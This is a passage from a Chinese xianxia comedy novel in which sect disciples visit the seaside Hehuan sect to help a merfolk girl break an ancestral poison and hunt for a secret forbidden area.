石映心道:“大师兄心怀正义,常常舍己救人,不会不帮你的。” “话是这么说,但大师兄古板得很,”曾换月偷笑道,“你叫他帮人挡刀他是乐意的,叫他和别人双·修他肯定不愿意啊。” 顾梦真觉得这三人说的话开始古怪起来,默不作声地溜走了。 果然,下一秒石映心就问:“双修是什么修法?” 曾换月眯起眼来:“嘻嘻,就是男女一起行·房·事……” “不是啦。”泉芷急忙打住她,“是有这种修法,但那是别派的,我们合欢宗早就摒弃此类房中术,在金丹之前是灵气双修,在金丹之后是内丹双修;也并不是定要一男一女,男男女女都行的。” 她说的这些,听得师姐妹二人一愣一愣的,曾换月惊奇道:“和话本中说得不一样。” 泉芷不意外她们的惊讶,哈哈笑起来:“世人对合欢双修是有许多见解,不过他们并不知双修之道的真谛,也不知肉身的奥妙!” 二人很好学:“那是如何呢?” 泉芷谆谆教导:“众人以为女阴男阳,其实不然,据我们合欢宗溯源考察,上古时期女为火、男为水,故应是女阳男阴。再以阴阳性命而论,真阴为性,为汞,真汞是离中之阴,指男子阴·精;真阳为命为铅,真铅是坎中之阳,指女性阳·精……如此说来,你们明白了吗?” 二人:*o* 泉芷见二人双眼涣散,哼哼一笑道:“说简单些,其实每个人体内皆有阴阳,不过有人阳盛、有人阴盛;我们合欢宗的修炼之道,便是找互补的二人共同修炼,以彼之阳补我之阴,以我之阴泄彼之阳,如此平衡体内真气丹田,便能阴阳两齐,化生不已。” “哦~”这么说她们就明白了嘛,“原来是这样,取长补短嘛,懂了懂了。” 泉芷满意微笑。 第52章 曾换月又好奇问道:“那照这么说,你们合欢宗每个人都有个修炼搭子了?” “搭子?” “……额,就是一起吃、一起修炼的人!这是我老家那边 的方言。” 泉芷说:“我明白了。有些弟子能找到合拍的搭子,那就常年相伴修炼,这自然是最好的;不过我们鲛人一族比较特殊,因生于海域,故体质比寻常人要阴盛阳衰些,很难找到合适的搭子,和我修炼的人一般都是……露水修缘。” 曾换月:“冒昧一问,你现在的境界是……” “金丹前期。” “和我一样啊……”曾换月惭愧起来,“你年纪轻轻、修炼这般不易都到了这境界,看来我确实是太懒惰了。” 泉芷苦笑一声:“我十岁入宗门,二十岁便要生子,时间紧迫,我是一刻也不敢放松;可如今我都十九了,还是没找到破解奇毒的方法,等到二十生辰,若我没生孩子,便是活到头了;若是生了,修为至少退两个境界,再修炼是难上加难……届时还有什么机会呢?” 说着说着三人都叹了气。 石映心看着她的眼睛,感到她心里迷茫的忧愁:“你们鲛人一族真不容易,天生比别人难。” “是啊。”泉芷还笑得出来,“不过我们所有的族人都未想过放弃,一代接一代,只要活着就会有希望。” “没错!”曾换月用力点头道,“别担心,你的希望来了!我师兄师姐都可厉害了!” 泉芷便看着她师姐,诚恳道:“若是你们真的能帮我族解开这传世谜题,就是叫我以命相报、以身相许也成。” 曾换月憋着笑打住她:“你这么说我大师兄要气死了,放心吧,不需要你们报恩,我们归壹派是名门正派,扶危济困就是天生使命,和奇毒也差不多了。” 三人哈哈哈笑开。 其他两个不知道这三人说了什么,反正再见时就见她们很要好。船靠岸之后,再飞一小段路便到了。合欢宗坐落在海边,距离人间不是太远,边上是一片洁净的沙滩,略有人迹。据泉芷所说,宗门内的每一间屋子都能瞧见海景,日光明媚。 虽说有泉芷领着,但别家弟子也不能随便进门,要等看门弟子用传音螺禀告了他们管事长老、说明了几人的来意之后,才能放她们进去;当然进去后还要先去拜访合欢宗副宗主,以交两仙门之好。 泉芷说副宗主是她师父,很好相处的。 石映心先前在摘星大会的时候远远见过副宗主安蔚然,这会再见,对方竟还记得她:“我记得你,似乎是看过你和梵音门弟子的剑赛,你的剑法了得。可惜我之后有事便回宗门了,没凑上秘境大比的热闹,不过想来你的表现应是不错的。” 石映心点点头:“多谢安宗主夸奖。” 曾换月见安蔚然气质婉约、说话温温柔柔的,便忍不住活泼起来:“我师姐可是秘境大比的魁首!” 安蔚然笑道:“泉芷能结交到几位如此优秀的道友也是一桩幸事。”客套过后,又问他们来合欢宗是有什么要事。 明易简略说了一番,安蔚然听罢,细眉微蹙道:“若是几位能帮泉芷的忙,自然是再好不过。只是鲛人奇毒一事,我们合欢宗也是几番调查,却一直找不到可行的办法……” 明易问:“贵宗门可有相关的文书记载?” “自是有的。”安蔚然朝泉芷点头道,“小芷,你去取来给几位过目。” 泉芷:“好。” 等她抱来了一大叠文书,安蔚然又道:“几位小友舟车劳顿,不如我先安排几间屋子给你们歇息,这些文书之后再看也不迟。”又说,“合欢宗与归壹派向来交好,你们在此便像在自家门派,不必拘束。” 人家这么客气周到,师兄妹四个自然连连答应谢过。 安宗主给她们安排住进了她门下几位亲传弟子的院落。一进院很宽敞,日头也很足,院中绿植小池布置精美,叫人看了心情就好。四人分别住进了东西厢房四间屋子。 石映心进了屋子,发现墙角摆了一盆白色的石头,正散发着白烟,问了泉芷才知道,原来这是吸水石,她们合欢宗近海,又常常落雨,空气之中潮湿沉重,每间屋子里要摆一盆吸水石才能清爽些。 泉芷贴心道:“等吸水石变蓝了,你喊我给你换。” “好。” 这时候曾换月从隔壁屋子来了,听到二人的对话:“怪不得我刚刚一路走过来,总觉得有些胸闷、喘不上气呢。”中秋过后,她们归壹派的山上都凉快了许多,没想到合欢宗还这么热,想想原来是到广东这边了,难怪难怪。 泉芷便问石映心:“你也觉得如此吗?外地人刚来这会有些不适应,不如我去找一些祛湿茶来……” 石映心摇摇头:“我不会。不过还是请你给我师妹喝些茶。” 泉芷答应下来,又笑道:“难道是法力高强的人适应能力更强些?” “也许?” 她们原先是这么以为的,直到看见面色红彤彤的明易,才打破了这猜想。就见他沉稳地站在那,表情是往常的,但脸色发红……不,是整个人都有些红,眉头微蹙,眼神有些涣散,双唇微抿。 “大师兄?”曾换月乍一看以为她大师兄发烧了,“你怎么红成这样?” 明易微微摇头:“我没事……咳咳……” 他师弟师妹:OO 顾梦真抿着唇忍着一些好笑:“我才去屋里放个行囊的功夫,一出来就看见大师兄变成熟虾了。” 熟虾? 石映心:噗嗤。 话说熟虾是挺好吃的…… 泉芷倒是很平常道:“他是水土不服导致内力真气不平稳,休息两晚、适应一下便好了。我这里有些丹药,你要日日服用。” 明易万万没想到自己会这样,只好接过丹药道谢:“……多谢,劳烦了。” 她们接下来本是打算由泉芷带着去参观一下合欢宗,毕竟来都来了;可明易都这样了,师弟师妹们便让他在屋里好好休息,有空没空的时候看看那一大堆文书就行。 明易哪里不知道他们关心是真,不想看文书也是真,无奈还是应下了,离开之前正要叮嘱师弟师妹两句,却见那边走过来一人。 几人望去,泉芷先叫了声:“方翔师兄。” 方翔抱着胸走来,眼神在外人身上打量,似是有些感兴趣,最后停在明易身上:“师妹,这几位就是归壹派来的客人?这位貌美道友为何脸色如此?是水土不服了?” “是啊。”泉芷为双方一一介绍了,又说,“师兄,这几日我便不与你修炼了,我家的事你也知道,忙着呢。” 方翔笑道:“有什么好忙活的事情,我也能帮帮你的忙啊。总不能一直麻烦外人,你看这位明道友都这样了,看着真叫人心疼。” 师弟师妹:心……疼? 谁叫人心疼?谁心疼谁? 明易要不是脸红这会就该脸黑了,他飞快道:“不劳几位关心,在下休息会变好。”说罢和师弟师妹们撂下一句“有事找我”,转身要回屋。 他还没走进门里,方翔还是紧紧盯着他背影笑道:“先前听说归壹派大弟子明易卓尔不群、英姿不凡,如今一见,确实是玉树临风的俏公子啊!依我看,我们合欢宗也没有几位青年才俊能比得过他。” 明易的背影:…… 进屋,关门。 瞧不见俏公子了,方翔这才把视线转回来,瞥了瞥这四张神色各异的脸,又盯住了最平静的那张:“石道友,我也听说过你,你同是归壹派这一辈的出色弟子,不过你有你师兄厉害吗?” 石道友:“你既打不过我,又打不过我师兄,我与师兄谁更厉害对你来说不重要。” 方翔:。 比起她师兄师妹咬着唇憋起笑,泉芷就肆意许多,见方翔吃瘪便哈哈大笑起来,打趣道:“师兄,映心说得不错,你有这四处打听的功夫,不如多多修炼吧!” 方翔被呛被调侃倒也没有不高兴,和气道:“小芷,你这么说我就不能苟同了,要不是我好八卦、喜打听,如何帮你找出破解奇毒的线索呢?” 泉芷闻言眼前一亮: “师兄你有线索?” “倒也不是确切的线索,不过是有些可能。”方翔保守道,“好了,站在这里说话算什么待客之道?不如在下请几位小友去我们合欢宗的膳堂用膳,我们一边吃一边说?” 几个贪吃的立刻点头说好啊好啊。 俗话说一方水土养一方人,一家膳堂有一家口味,合欢宗膳堂里皆是几人没见过的美味,海鲜、牛肉、烧鹅……看得她们是目不暇接、口水直吞,尽显馋相。 方翔好客地点了一桌菜,待几人狼吞虎咽起来,他就在边上说线索给他们下饭:“小芷,你还记得关于你们鲛人族奇毒一事,最可靠的来源说法吗?” 泉芷点头:“自然记得,那是很久很久以前,大概有一千年那么遥远……” 与此同时,明易翻开《鲛人纪事》,扉页写着“有愧人无名氏”,大概是写这本纪事的人?再翻一页,这人开始说故事了: 很久很久以前,大概有一千年那么遥远…… 世上第一只鲛人是如何来的?没人知晓,所以张三在岸边遇见那只人身鱼尾的“怪物”时,惊得瘫倒在地,话都不会说了。 这只鲛人对他说:“借你的剑一用。” 张三见她容貌靓丽无害,取下腰间的佩剑扔给她。 鲛人拿过剑,将剑尖刺入自己的下半身,自上而下劈开了鱼尾,血液浸透沙子,鱼尾变成了人腿。 张三瞠目结舌:“你、你不疼吗?” 鲛人慢慢从地上爬起来:“我不怕疼。” 第53章 二人交谈过后,鲛人得知张三要去剑宗求学,便说她有阴阳双修之法,问他愿不愿意学,张三心想不学白不学,那就学学呗,于是拜鲛人为师,开始修炼鲛人族的阴阳双修。这便是合欢宗最早的起源之法了。 日月如梭,张三对鲛人渐生情愫,没多久鲛人便诞下一女……隔年又诞下一女,不过是李四的;隔年的隔年又又诞下一女,这次是陈五的;隔年的隔年的隔年又又又诞下一女,是孙六的…… 没错,这些四五六七八也是鲛人后来收的弟子,当然也有单纯爱慕鲛人的人。 张三一忍再忍、忍无可忍,质问鲛人道:“你根本不是真的爱我,也不是真的爱四五六,你只是为了生孩子!” 鲛人被他骂得莫名,但很坦荡道:“我鲛人族血脉单薄,总共没几只,我要不多生点,什么时候天灾人祸全死光了怎么办?” 张三:…… 他是搞不明白,凡人女子生个孩子是很耗元气的,一夜之间老了好几岁不说,又会后怕生子之痛苦……哦,鲛人说过她不怕疼来着,可难道疼是不怕就真的能不在意了?而且鲛人只生女子,那些小鲛人也是个个精力旺盛、健康活泼…… 张三越发觉得自己陷入了天大的阴谋之中。 他感到可怕,又不能离开鲛人的法门,毕竟他已靠此法修炼了几年,如何能前功尽弃呢?他自身又不知如何精进…… 这日他得到一本禁书,上头写了一种奇毒,是说被下了此毒的女人,只能和此生第一个男人交·合,若是与其他男人便会身受重创、元气大伤;但不和男人交·合却不行,否则体内毒素积攒,就会毒发暴毙身亡。据说原先是用来拘束那些红杏出墙的女人的。 张三便想这毒倒是适合鲛人,一能削弱她的法力,二能让她依附于他……毕竟他是她的第一个男人……是吧? 不管如何,他用了十年时间研制出了此毒,只是禁书上的许多记载有些糊涂,有几味草药他从未听过,又怕原先的毒素不够毒倒身强体壮、法力高强的鲛人,于是加大了一些剂量…… 甚至他未雨绸缪地想,鲛人如此,她几个女儿定也是如此,她们这么相像,修炼也是同样天资过人……日后定也是这样三心二意、拈花惹草的女人!没错,他要防患未然、以绝后患! 于是干脆一不做二不休,把鲛人几只小苗全给毒了。 中毒后的鲛人自然要报仇,可门下弟子纷纷求她放过张三一马,说是此毒不致死,他无意杀她,只是一时想不开的妒忌罢了;张三平日对她也算不错,又是大女儿的亲爹,还望她念在旧情的份上,饶他一命。 鲛人心想就这么让他死了倒是便宜了他,不如叫他受尽折磨,于是将他关了起来,让他生不如死。 可多大的惩罚也解不了奇毒,鲛人找遍八大洲禁书,依旧无法可解,只能多多少少改变一些毒性:比如并不是只能和第一个男人交·合,二十岁之前不会毒发,但要诞子移毒等…… 鲛人因此毒失去大半修为,将宗门托付给信任的弟子,余生在找解毒之法中渡过,却不得而死。宗门几经波折、摧毁、重组,最后发展成了如今的合欢宗。念开山祖师的传法恩德,合欢宗百年来都与南海鲛人族交好…… 故事到此结束,血脉却依旧在传承,奇毒伴着血缘随时间流淌,从遥远的过去来到了现在。 没人清楚这几百年鲛人族经历了什么,但无数的痛苦和挣扎,最后都变成了泉芷的勇敢和坚持。 只是如何让这悲剧谢幕呢?总不可能像明易看完故事、把书合上这么简单。 “居然是这么回事……”顾梦真摇头叹息道,“那个下毒的张三,若是知道后果如此惨重,他还会这么做吗?” “怎么不会?”曾换月撇嘴道,“他可是研制了十年的毒,这十年里但凡他有一次良心发现,都不会酿成这样的悲剧!” 顾梦真想想也是:“太可恶了!啧啧啧。” 石映心问:“张三最后如何了?得到了什么惩罚?” “这就不清楚了。”方翔摊手无奈,“众说纷纭,有说其实早就被先祖杀了的,也有说被吊起来卸胳膊卸腿虐待至死的……总之,在那之后就没有人再见过他。” “他怎么样都是活该!”泉芷咬牙切齿道,“恩将仇报的贱人!竟因嫉妒之心陷害他人,甚至连无辜的孩子都不放过!致使我们鲛人一族千百年深受其毒……我只担心他死得不够惨!” 她说得好恨,听得桌上几人都有些怔然。还是泉芷自己回过神来,朝她们惨惨一笑:“唉,其实我不是那么残忍的人。” 大家说当然当然,都是那个张三的错。 泉芷又问:“师兄,所以你说的线索是什么?” 方翔左右溜了溜眼珠子,偷感很足地附身下来,用眼神示意招来了几个脑袋后他压低声音道:“我也是近日才打听到,原来我们合欢宗有一处百年禁地!据说几百年以来,从来没有人进去过……不,有人进去过,但出不来了!所以一直以来长老们都秘密守护着,从不告诉他人。” 曾换月小小声:“哇,那你是怎么知道的?” 方翔道:“这一辈的守禁地的人是我们宗主,他平日脾气有些焦躁,喝了酒后就常常不知所云,宗主的亲传弟子和我关系不错,我是从她那听来的。不过她说这不一定是真的,也许是宗主的胡言乱语也有可能。” “酒后吐真言啊!”顾梦真肯定道,“我觉得很有可信度。” “是吧?”方翔挑眉赞同,“你们回想一下,故事中的张三是不是得到了一本禁(重音)书才研制出史上未闻的奇毒?那禁书和这个上百年的禁(重音)地,时间上好似也能对上?” 泉芷听明白了:“师兄你的意思是,张三是从这个禁地中找到了这本禁书,所以解毒之法很可能就在这个禁地之中?” 方翔打了个响指:“聪明!我就是这个意思。你们说是不是有那么一丝可能?” 曾换月摸摸下巴:“这么听起来是真的有可能,起码值得一试。” “不管如何我都要试一试。”泉芷吐出一口气,毅然道,“我们族人自小便下定决心,要尽己所能想尽所有办法、找遍世上任何角落,只要能找出解毒之法,就是擅闯禁地、叫我受宗门极刑也无所谓。” “诶诶诶,”她提到这个,方翔忽然冒了冷汗,“小芷师妹,到时候你可别把我供出来啊!” 泉芷拍拍胸脯保证道:“放心吧师兄,我感谢你还来不及,怎么可能恩将仇报?” 方翔这才松了口气 。 既然已经有了方向,顾梦真便有些迫不及待了:“那禁地在哪?” 方翔:“不知道啊。” 泉芷:“宗主肯定不会同我们说。” “我有办法。” 谁有办法?几人诧异望去,就见石映心朝她们可靠一笑:“只要让我见到你们宗主,我自有办法。” 她这话一出,泉芷和方翔还不明白怎么回事,但她亲师兄妹已经恍然大悟地瞪眼喔嘴了:是了,小师妹能“读心”啊!这事好办! 方翔说宗主出门办事了,可能要晚上才回来,泉芷便打算带几人先在合欢宗里四处逛逛,正好吃撑了消食。 曾换月越看合欢宗,越觉得有些梦幻的童话风,海边潮,用木头不方便,她们宗门多是用白色的岩石建造而成,白的殿宇蓝的大海金的沙滩晴的天空,真是一个让人心旷神怡的好地方。 几人走到外门演武场,瞧见有几排弟子在抚琴,阵阵音律飘在空中化作灵气,笼罩在演武场上空,在日光的照耀下散出彩色的光芒。 泉芷介绍道:“器乐灵音可陶冶情操、调整体内真气,从而增进修炼。我宗弟子皆以器乐为武器,可攻可守。许多弟子刚入门时练习的乐器还是从你们归壹派统一购入来的。” 顾梦真点点头道:“是,我前几年也帮忙炼制过几批,一些笛子玉筝什么的。” 他说到这,泉芷变出一只透蓝的玉笛来,在手上转了转,放在嘴巴一吹,笛声悠悠,几人顿觉如清风拂面,心情都畅快了许多。 顾梦真感叹:“确实确实,确实陶冶情操!” 见她们脸上都很放松,泉芷收起笛子笑道:“我们这些不过是小打小闹,借水行舟;据说先祖的歌声便是武器,既能摄人心魄,又能让人肝胆俱裂。” 这里的肝胆俱裂应该就不是形容词了。 曾换月又想起西方童话故事:“你们鲛人一族的歌声都有这样的本领?” 泉芷有些失落:“或许几百年前有吧,不过奇毒削弱了我们的种族能力,篡改了血脉。若没有这毒,不知现在鲛人一族会是怎样的光景呢?” “应是很厉害的。”石映心想了想,“毕竟你们先祖能用剑把鱼尾劈开,想想就疼。” “是条狠鱼……”曾换月竖起大拇指,“额,狠人?” 泉芷转悲为喜笑道:“是人是鱼都行。” 过了会又逛到护门大阵,有几个弟子在边上看守,泉芷说:“护门大阵不止能抵御外敌,更多时候起到防洪作用,有我们合欢宗在岸边镇守,附近的庄稼田地还有城池便不会受害。” 大家点点头,说好实用啊。 兜兜转转,她们来到合欢宗正门,有一座莹白的石雕立在入门处,走近一瞧,正是人鱼的雕像,鱼尾立起,身姿挺拔,一手高举海螺;她长发飘逸,五官只是很浅的几条线,双目注视着天空,仿佛在遥望着什么。 见泉芷给雕像行礼,几人礼貌效仿。 “这便是先祖的雕像。”她介绍道,“先祖拿着传音螺,她说这是大海赐予的礼物。生生之谓易,海螺是如此,我们也是如此。” 大家点点头,说好有道理啊。 第54章 逛得差不多了,几人便说先回去休息,等晚上宗主回来了再去套话;几步走到前边的一处拐角,一转弯忽然撞见两个相拥而吻的弟子,首当其冲的石映心愣在了原地,曾换月发出一声“我靠”,顾梦真赶紧把两人拉回来了。 “咳咳!”同门弟子被撞见这档子事,泉芷也是无语,朗声道,“要亲热就找个隐蔽的地方,堵在路中间算什么意思?” 其中一个男弟子走了出来,歉疚一笑:“不好意思啊几位道友,让你们见笑了。情难自控嘛,理解一下哈。马上走马上走!” 说着摆摆手,从里头拉出另一个男弟子,二人牵着手贴着身子,快步离开了。 曾换月都看傻了:“这、这……” 泉芷其实习以为常,不过还是很贴心地给几人解释一番:“实不相瞒,我宗合欢双修法虽说已摒弃了房中术,但一同修炼的二人很容易因为真气交融、丹田互通而产生情愫,所以同门之中谈情说爱的也不少。” “不……”顾梦真也有些没回过神,“可是刚刚那两个……好像都是……” 石映心缓冲中:“男人和男人谈情说爱?” 泉芷理解他们的意思,开明一笑:“对啊,毕竟我们宗男男女女男女都可一起修炼嘛,所以男男女女男女谈情说爱都很正常。” “不过……”说到这里她摸摸下巴,似也有些疑惑,“总觉得近几年好像同性双修的更多了呢?倒也没仔细统计过。” 三人沉默着对了个视线,这会是没说什么。 等奔到明易屋里,才叽叽喳喳地大惊小怪起来。曾换月哇哇哇:“刚刚真是吓我一跳,那两个男弟子抱在一起这样亲那样亲,师姐都看呆了!” 确实看呆的石映心摇摇头:“从没见过。” 顾梦真抱着胳膊搓鸡皮疙瘩:“虽说这是人家宗门的特色吧,但不知怎么我看得浑身难受……嗐。” 明易从书里抬起头来,神色有些高深莫测:“近年外界隐约有些传闻,说是合欢宗风水出了问题才导致同性双修日益剧增,他们的宗主和长老都挺忧心的。我看了一些书册,合欢宗第一次记载同性双修仅是在五十年前。” 石映心这时候问:“同性双修是不正常的吗?为何风水出问题了才会这样?” 几人:额。 “不是不正常,就是比较少见啦。”曾换月打了个哈哈,这才发现原来师姐刚刚只是看人家接吻看呆了,和性别没关系,“你看嘛师姐,话本里也说得很少,但都是……正常的,嗯。” 石映心受教:“明白了,不过谈情说爱就会和他们一样情难自控,随处就想接吻吗?” 曾换月给二师兄使眼色:“这个、这个嘛……” 顾梦真捏捏大师兄肩膀:“其实,其实吧……” 明易把书合上,冷漠道:“就是谈情说爱也不该日日想这些情欲之事,更不能随心所欲、毫无自控之力。有这些亲亲我我的心思,还不如用在修炼上。” “欸欸,这我不赞同了。”曾换月举手否决,“有喜欢的人想亲亲我我很正常啊,不是所有人都和大师兄你一样天天就想着修炼的。啊呀,这些东西等师姐你有喜欢的人之后就知道了。” 顾梦真哈哈笑了一声:“映心也会有喜欢的人吗?她没有这根筋啦。” 石映心:“想亲一个人就是喜欢他吗?” “差不多吧?但你可不能随便亲,要经过他同意才行。”母单师妹给她师姐传授心得,“不然要被扇巴掌。” 石映心了然点头:“我明白,话本里都是这么写的。” 曾换月点头:“对对对,看话本就是要学习的。” ……都是些什么乱七八糟的,明易忍无可忍道:“你们不是来说线索的?” 那几个连忙说是是是,七嘴八舌地把之前听到的咕噜咕噜倒出来。 明易听罢,却不似他师弟师妹们那么轻松,眉头是越皱越紧:“方翔说的禁地是有可能藏有解毒之法,可我们来合欢宗办归壹派的事,本就有些冒昧,更别提擅闯人家禁地……届时就不只是我们几人与合欢宗的恩怨那么简单。” 他一盆冷水浇下来,三人都有些蔫了。石映心有些不解:“看得出来合欢宗的弟子对鲛人先祖都有一些崇拜,几百年过去了,正门还立着她雕像;此事也是为了帮助鲛人一族……他们难道会不答应吗?” 曾换 月叹气摇头,老成道:“师姐,你把人性想得太简单啦。尊敬一个人也不是那么耗费精力的事啊,有时甚至只是为了展示自己尊师重道的好品行罢了。再说,这位鲛人先祖都是一千多年前的宗主了,如今合欢宗也不是鲛人掌权……我看难哦。” 顾梦真点头赞同:“换月分析得不错,而且现在的合欢宗好似也没有几个鲛人……再加上她们天生奇毒,二十就要生子,生了就会修为大减……唉,指不定有些弟子根本不把鲛人看在眼里呢?” 石映心听了师兄师妹的话,微微想了想:“原来只有泉芷是真心的。” “我也是真心的!”曾换月举手。 顾梦真:“那我也算是吧……就算不是这也是我的任务啊!” 三人看向大师兄。 大师兄顶着他们的炯炯目光道:“我翻阅了合欢宗书册之后,总觉得这次任务有些不同寻常,还是要小心为上,待我传音回禀师父师公……” “不行啊大师兄。”曾换月连连摆手阻止他,“若是师父他们不答应,那我们就不帮泉芷了吗?难道真的要眼睁睁地错过这次线索,看她们鲛人族继续苦苦挣扎?” 明易:“此事还需从长计议……” 顾梦真撇嘴:“可是泉芷马上就要二十了,而且我从没听过因果牌出错任务的事。” 明易:“禁地事关重大……” 石映心有好主意:“如果真的不行的话,那就先让大师兄和泉芷生孩子,然后再慢慢想办法……” 明易:。 曾换月差点要笑出来,连忙咽下去,绷住脸道:“噢噢是哦还有这个好办法,有道理师姐说得太有道理了。大师兄的孩子肯定很聪明,指不定能解决我们没解决的难题呢?呵呵呵呵……” 明易:…… 顾梦真甚至已经开始幻想:“如果大师兄和泉芷有孩子的话,那是要养在合欢宗还是归壹派呢?大师兄的孩子叫我什么来着?师叔?哈哈哈哈二十多岁正是当师叔的好年纪!” 明易:…… “……都给我出去。” 麻溜地滚了。 入夜之后,屋里的吸水石变成了透蓝,石映心蹲在边上打量了一会,正要拿起一块玩玩就听见了敲门声:“谁?” “是我,泉芷。” 打开门,泉芷抱着一盆莹白的吸水石朝她弯眼笑:“我估摸着你屋里的吸水石快满了,来给你换一盆。” 石映心说谢谢,侧开身子让她进屋。换完吸水石之后泉芷问:“我能在你屋里坐会吗?” 石映心说可以,请坐吧。 二人坐下后,泉芷给她倒了杯茶,试探地问:“映心……禁地的事情,你们师兄妹讨论得如何了?” 石映心实话实说。 泉芷听了,叹了口气道:“唉,我想也是这么回事。我自己一人去禁地受罚也就算了,怎么好意思拖你们下水?明易道友的考虑我也理解。” 石映心宽慰她:“你放心,就是为了完成因果牌的任务,我们也会帮你。而且我二师兄从没听过因果牌出错的事。”虽然她们尚未知道因果牌上的那句诗词是什么意思吧…… “那如果……”泉芷抬起眼睛看她,眼神有些幽幽的,“没有了因果牌,你还会帮我吗?” 石映心不知道她为什么这么问,按照以往的经验,她说了“巴拉巴拉我会帮你”之后,对方就会感恩戴德地说“谢谢你”了,泉芷却多问了这么一句,一下子把她难倒了。 她沉吟片刻道:“可我们就是跟着因果牌来的,没有这前因,我们便不会遇见。” “怎么会呢。”泉芷摇摇头道,“如果我们有缘的话,怎么都会遇见的。” 石映心便问:“有缘遇见之后呢?还是帮你解毒?” 泉芷脸色暗淡下来:“实话和你说,虽说我以解毒为使命,可这千百年的重担落在我身上的时候,我不觉得我是那个……能改变这一切的人。” 她慢慢地拉住了石映心放在桌上的手,消沉的语气听起来是推心置腹的:“按照故事的发展,能够翻天覆地的人最少也是天纵奇才,就像你和你师兄这样……啊,我不是绑架你们的意思,我是想说……我就是很普通的,和上一辈,上上一辈的族人并无多少差别。” “虽说也有过很长的叛逆期,想着就不生子、直接死了算了,但繁衍和解毒的使命早已深深刻进每一个族人的血脉里,就和那奇毒一样,我无法摆脱……就在我想着随便找一个人生子应付的时候,我遇到了你……和你师兄。” 石映心的大脑始终在卡顿地处理她的话,听到这里才有了些眉目:哦,难道她是想拜托她、让她去说服大师兄和她生孩子? 这好说呀,为什么要这么弯弯绕绕呢? 石映心:“好……” 泉芷:“所以,我绝对不能死。就算解不了奇毒,我也要培养我的孩子,让她比我更强、更聪明、更厉害……” 石映心觉得自己没猜错,还是要和大师兄生孩子嘛:“我明白了。” “你明白了?” “嗯。” 泉芷双眼亮得像深夜里海面上升起的圆月,她拉住石映心的手兴奋道:“你明白就好!对,就是解不了奇毒又如何呢?只要我们四人把日子过好比什么都重要!” “e……m?”石映心数了数,没数拎清,“四个人?” 泉芷:“是啊,你,我,你大师兄,我的孩子。” 石映心:? 所以她在这里起到一个什么作用呢? 第55章 可不等她多问一句,忽然外头传来说话的声音,她们自然静下来去听,很快就听到曾换月大喊:“师姐快出来,方大哥说宗主回来了!” 二人对视一眼,似乎交流了什么又没成功交流到什么,反正就出去了。曾换月等人已经在门外等候,看见二人一同出来,还奇怪道:“咦,泉芷已经来了?” 泉芷就说过来换吸水石的,顺便讨论一下禁地的事。 她说得很没错,石映心点了点头,这时见大师兄站在边上又问:“大师兄,你身体好了吗?” 明易颔首:“差不多了,还要多谢泉道友的灵药。”主要是不好也得好了,他怎么放心让这三人去见宗主……想想就头疼。 石映心看看大师兄,又看看泉芷,眼中的情绪难得有些复杂。 方翔笑呵呵道:“宗主得知你们来了,特地叫弟子摆了酒宴,等会几位多少喝点哈,捧捧我们宗主的场。” “别听我师兄乱说。”泉芷瞥他一眼,“宗主只顾自己喝的,一喝起来就没完没了,我们在边上喝点茶水便好。” 不会喝酒的几人这才松了口气。 合欢宗宗主赵有志略有些年纪,头发有三分之一花白,其实对修士来说维持年轻的容貌很容易,不过大家都是有地位的人,长得老一些更显得可靠嘛,也免去被人说大把年纪还装嫩的麻烦,这似乎也成了一种共识。 大殿上见了几人,赵有志表现出长辈的热情:“明易,许久不见了!上次见你是什么时候来着?你跟在慕雲后头,还没她腰高!”又对顾梦真三人说,“这几位小孩倒是没见过,唉,近年事忙,我也很少去归壹派做客了。” 几人行礼,明易道:“赵宗主安好,师父代我们问候您。” 说着拿出一坛酒来送上:“这是师父的意思。” “那我可就不客气了。”送这个他哪里拒绝得了,赵有志立刻笑盈盈地收下酒来,张开鼻孔嗅了嗅,“哦呦,果真是你们归壹派的特产酒!慕道友懂我!” 连忙招呼几人坐下吃东西喝茶,却没问他们要来做什么,真如泉芷所说,很快他就自顾自地喝起酒来,谈一些闲话,什么“上回摘星大会是不是很热闹”“来我们合欢宗有没有不适应的,好好玩几天哈”…… 鲜少出门的石映心三人这会觉得赵宗主非常好说话,就是一个和蔼的长辈;见了些世面的明易等人则知道对方在避重则轻,就是副宗主安蔚然见了他们,都要问一句“你们来合欢宗有什么要事”,赵有志作为宗主,难道真的不在意? 等过一会喝酒上头了,更是什么话都不好商量。 明易心说师父的酒都送了,当时交代他的时候还一副非常肉疼的模样,他可不能就这么让赵宗主糊弄过去。斟酌片刻,主动提起来: “赵宗主,实不相瞒,我们此次冒昧来访是为了宗门任务一事。宗主与我派素来交好,定是知晓归壹派的万事树是天赐神树,因果牌则关乎天下大小事。晚辈听说,一百年前各派便达成了共识,会全力配合因果牌的指示……” 听大师兄提到正事,三个小的纷纷闭嘴不吃了,坐在那眼观鼻鼻观心。 还没入元婴的曾换月模模糊糊想起万事树的传闻,这会见大师兄也这么说,暗道原来因果牌有这么大的本事?跟警·察·证、调查令似的…… “咳咳咳咳……”这晚辈暗示得很明白,赵有志有点喝不下去了,迷糊着眼神道,“哎呀,这酒是好喝,但呛人!” 方翔举酒杯时给师妹使了个眼色,泉芷深呼一口气道:“宗主,您前阵子还问我奇毒一事有没有眉目,正巧今日弟子得了线索,想请教宗主。” 赵有志皱着眉头,有些无奈:“唉,小芷啊,你们鲛人族的事……我们合欢宗几百年来多少任宗主都是束手无策啊,你看我一个酒蒙子能有什么办法呢?” 方翔哈哈道:“宗主您太谦虚了,您要是没有本事,那合欢宗怎么办呀?您这么说,我们这些小辈太惶恐了哈哈哈!” 赵有志:…… 这臭小子怎么还帮外人说话! “嗐,”赵有志摇着头给自己倒酒,“世事难料……本座真是爱莫能助啊。” 就在这时,曾换月把吃糕点的石映心拉了起来:“宗主,我师姐有些晕酒了,我带她出去透透气哈。” 石映心:? 倒也没说什么,把糕点往嘴巴里一塞,顺从地靠在了师妹的肩膀上。 赵有志先是点头,等二人走出去了,才看石映心的桌上根本没有酒啊:“奇怪,这孩子什么时候喝酒了?” 顾梦真嘿嘿道:“我师妹嗅觉灵敏,酒量奇差,闻见酒味就要晕。” 赵有志:“……还有这样的?” “是啊是啊。” 两个师妹一出门,明易便单刀直入地问:“赵宗主,晚辈听说贵宗门有一处百年禁地,可有此事?” 赵有志:“没有啊,这是谁传的谣言?我为何不知道!” 石映心:“真服了,谁给我抖出去了?看我不收拾他!” 明易听到师妹的传音,抿着笑继续问:“说得也是,合欢宗风景如画,是一处洞天福地,若是有如此危险的禁地,不知该隐在何处呢?” 赵有志:“没有没有,压根没有这什么禁地!到底是谁在道听途说?” 石映心:“那当然了,自然不能是在宗门里,谁会发现它在海里呢?” 